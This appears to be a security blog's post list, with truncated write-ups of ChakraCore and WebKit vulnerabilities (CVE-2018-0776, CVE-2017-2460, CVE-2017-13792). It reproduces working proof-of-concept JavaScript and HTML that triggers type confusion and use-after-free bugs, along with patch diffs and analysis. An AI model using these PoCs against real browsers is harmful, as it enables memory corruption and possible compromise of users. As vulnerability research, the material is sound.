Posts

CVE-2018-0776 Stack-to-Heap

CVE-2018-0776 Stack-to-Heap CVE-2018-0776 Credit to lokihardt function inlinee() { return inlinee.arguments[0]; } function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */ let stack_arr = []; // JavascriptNativeFloatArray stack_arr[10000] = 1.1; stack_arr[20000] = 2.2; let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr); stack_arr[10000] = 2.3023e-320; return heap_arr[10000]; } function main() { for (let i = 0; i < 10000; i++) { opt(new Function('')); // Prevents to be inlined } print(opt(heap_arr => { heap_arr[10000] = {}; // ConvertToVarArray })); } main(); //https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de Feature 1: Inlining 2 个栈帧折叠为 1 个栈帧 省去将 Inlinee 参数压栈的过程 某些情况下, 需要将折叠的栈帧还原回来, 例如 Bailout Feature 2: Stack Object 分配到栈上的代码: bool Lowerer::GenerateRecyclerOrMarkT...

Three UaFs when iterating through HTMLFormElement::associatedElements

First of all, lets look at CVE-2017-2460. It was reported in 2017-Jan-19. PoC: ================================================================= <script> function go() {   object.name = "foo";   input.autofocus = true;   output.appendChild(input);   form.submit(); } function eventhandler() {   for(var i=0;i<100;i++) {     var e = document.createElement("input");     form.appendChild(e);   } } </script> <body onload=go()> <form id="form"> <object id="object"> <output id="output">a</output> <input id="input" onfocus="eventhandler()"> ================================================================= Patch: @@ -506,7 +506,9 @@ bool HTMLObjectElement::appendFormData(FormDataList& encoding, bool)       if (name().isEmpty())           return false;  -    Widget* widget = pluginWidget();  +   ...

CVE-2017-13792: UaF in WebCore::InputType::element

Image
PoC: ================================================================= <script> function go() { input.selectionDirection = "foo"; } var i=0; function eventhandler() { i++; if(i==1) { input.setAttribute("autofocus", "autofocus"); div.appendChild(form); } if(i==2) { input.type = "image/x-unsupported"; } } </script> <body onload=go()> <div id="div"> <form id="form"> <input id="input" onfocus="eventhandler()" type="tel"> ================================================================= diff: ================================================================= - if (event.isMouseEvent() - || event.type() == eventNames().blurEvent - || event.type() == eventNames().focusEvent) - { - element().document().updateStyleIfNeeded(); - - auto* renderer = element().renderer(); - if (element().renderer...